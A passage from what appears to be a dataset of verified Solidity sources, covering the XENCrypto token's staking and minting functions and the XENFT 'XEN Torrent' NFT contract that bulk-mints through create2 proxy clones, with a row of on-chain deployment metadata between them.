REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,324 |
072e33a2329aa4d5409556db850745faa10c66ddea9633d4dc10cc3fe524d69a
|
c48508d03cf2cc266b5c9d29535ae8090627ced7c25a9f3cf9c7dbfc29cc81d1
|
551e3ed3062afc484d3c0691d0028baa18756cc6
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
9ff887ccb9b72499227e571cb24cc934cc069963
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
